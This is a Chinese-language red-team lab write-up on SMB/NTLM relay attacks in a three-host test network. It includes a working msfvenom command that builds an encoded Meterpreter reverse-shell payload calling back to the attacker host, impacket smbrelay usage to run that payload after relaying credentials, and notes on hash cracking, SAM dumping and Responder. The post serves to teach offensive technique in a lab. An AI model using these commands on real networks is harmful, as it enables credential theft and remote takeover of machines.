smb中继攻击

红队实验

创建时间:2020-03-22 10:24

阅读:

0x00介绍

先知社区的文章：

SMB重放攻击：当访问格式为\IP\File的时候，会默认将当前用户密码凭证送到SMB服务进行认证，失败后才弹出需要输用户密码的对话框，但此时SMB服务器已经收到了相应数据，通过抓包即能获取到用户凭证。
有了这个凭证，再进一步利用Hashcat等工具进行破解即有可能得到能利用的用户密码。

个人理解：

内网有三台主机->

Windows server 2008 R2 DC：192.168.1.108
Windows server 2008 R2：192.168.1.110
Kali：192.168.1.109

kali实现端口流量转发，域内主机(110那台)访问了攻击机的IP，输入了凭证之后。将凭证交给攻击者后，攻击机将凭证转交给DC。如果DC登录成功，则代表验证成功。将上传攻击机生成的马子并执行

在kali上监听生成马子并监听msf

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.109 LPORT=4444 -e x64/xor -i 20 -f exe -o test.exe

使用impacket工具包里的smbrelay

命令格式：python smbrelay.py -h <被攻击的机子> -e <认证成功后执行的马>

在使用server02访问kali IP

成功后会抓到正确的NTLM-HASH-HASH

msf也会上线

如果认证失败则返回错误信息

我认为实际上成功几率应该很低，钓鱼拿hash的方法应该更高（虽然破解hash是个问题）。先知社区那篇文章结尾那个方法，通过中继dump SAM文件里的HASH，拿到NT LM HASH后。使用wmicexec直接连接即可（虽然也是中继）

先设置responder.conf，关闭smb和http

转载请注明来源，欢迎对文章中的引用来源进行考证，欢迎指出任何有错误或不够清晰的表达。